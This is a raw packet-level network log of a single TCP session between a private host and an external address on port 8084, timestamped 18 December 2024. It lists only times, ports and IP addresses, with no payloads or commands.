Dec 18, 2024 13:21:42.246324062 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.247093916 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.256925106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.256987095 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.257102013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.257755041 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.258306026 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.267194986 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.267237902 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.267304897 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.267987967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.274063110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.274178028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.274243116 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.274909019 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.274947882 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.284296036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.284451008 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.284995079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.285046101 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.294142962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.294197083 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.294251919 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.294903994 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.298340082 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.299863100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.299973965 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.300620079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.300692081 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.307420969 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.307475090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.307554960 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.307935953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.307987928 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.312336922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.312397003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.312477112 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.313123941 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.317234039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.317271948 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.317303896 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.317929983 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.318299055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.324727058 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.324907064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.324989080 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.325398922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.331962109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.332004070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.332026005 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.338553905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.338587999 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.338651896 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.342515945 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.342674971 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.342766047 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.343539953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.343590975 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.353458881 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.353569984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.353624105 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.354603052 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.364273071 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.364320993 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.364404917 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.365086079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.365150928 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.374968052 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.375073910 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.375176907 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.375463963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.379251003 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.379290104 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.379363060 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.379659891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.379707098 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.386786938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.386842966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.386925936 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.387628078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.392463923 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.392632008 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.392709017 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.393326998 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.393383980 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.396411896 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.396469116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.396790981 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.397094011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.402821064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.402873039 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.402920961 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.403464079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.403722048 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.409583092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.409729958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.409802914 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.410265923 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.420648098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.420665026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.420707941 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.421451092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.422319889 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.430192947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.430324078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.430905104 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.430991888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.437417984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.437503099 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.437516928 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.438177109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.438322067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.447122097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.447179079 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.447257996 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.447874069 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.456558943 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.456645012 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.456724882 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.457077026 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.457127094 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.463077068 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.463134050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.463188887 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.463681936 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.467885971 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.467962980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.468019962 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.468579054 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.468625069 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.473201990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.473297119 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.473375082 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.473839998 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.480376959 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.480504036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.480549097 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.481174946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.481223106 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.481236935 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.488226891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.488365889 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.488435984 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.488914967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.488962889 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.496092081 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.496232986 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.496294975 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.496798038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.504822016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.504937887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.504972935 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.505475044 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.506309986 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.512826920 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.512964964 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.513032913 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.513575077 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.520175934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.520303011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.520359993 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.520910025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.520956039 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.527951956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.528028011 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.528093100 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.528752089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.534898043 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.534951925 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.535002947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.535516977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.535635948 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.542222023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.542293072 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.542359114 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.542906046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.549715042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.549851894 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.549901962 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.550438881 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.553684950 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.559660912 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.559775114 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.560383081 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.560432911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.569118977 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.569420099 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.569504023 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.569804907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.569849014 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.576344013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.576385021 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.576967001 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.577027082 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.584530115 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.584630013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.584678888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.585201979 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.585246086 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.595797062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.595961094 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.596553087 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.596616983 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.599761009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.599850893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.599905014 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.600441933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.600486040 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.607440948 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.607609987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.607676983 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.609201908 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.613229036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.613248110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.613306046 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.613816023 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.613856077 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.617928982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.618153095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.618310928 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.618792057 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.623138905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.623155117 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.623214960 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.623584032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.623635054 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.632742882 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.632891893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.632968903 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.633388042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.640583992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.640639067 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.640706062 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.641028881 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.641077042 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.647711992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.647851944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.647938013 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.648516893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.655361891 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.655426979 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.655463934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.656173944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.658308029 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.663434982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.663543940 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.663608074 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.664220095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.671691895 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.671829939 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.671899080 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.672457933 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.672506094 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.678215027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.678339005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.678894043 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.678951025 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.686018944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.686136007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.686183929 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.686748028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.687813997 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.693397045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.693531036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.693588018 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.694145918 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.700964928 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.701013088 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.701025009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.701489925 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.702147961 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.707937956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.708050013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.708093882 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.708668947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.716090918 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.716134071 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.716185093 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.716717958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.718297958 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.723582983 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.723687887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.723747969 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.724317074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.730775118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.730840921 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.730850935 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.731612921 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.732906103 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.738672018 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.738770962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.738827944 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.739408016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.745894909 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.745933056 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.745942116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.746742010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.746788025 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.753268957 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.753334045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.753801107 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.753958941 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.760498047 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.760654926 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.760715961 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.761224985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.761285067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.767828941 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.767882109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.767956972 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.768515110 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.775137901 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.775197983 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.775276899 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.775876045 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.775940895 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.782356024 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.782396078 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.782458067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.783081055 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.789693117 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.789763927 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.789777994 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.790395975 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.790452003 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.797022104 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.797152996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.797734022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.797787905 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.805104017 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.805160999 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:42.805183887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:42.805813074 CET	8084	49833	107.148.62.100	192.168.2.10
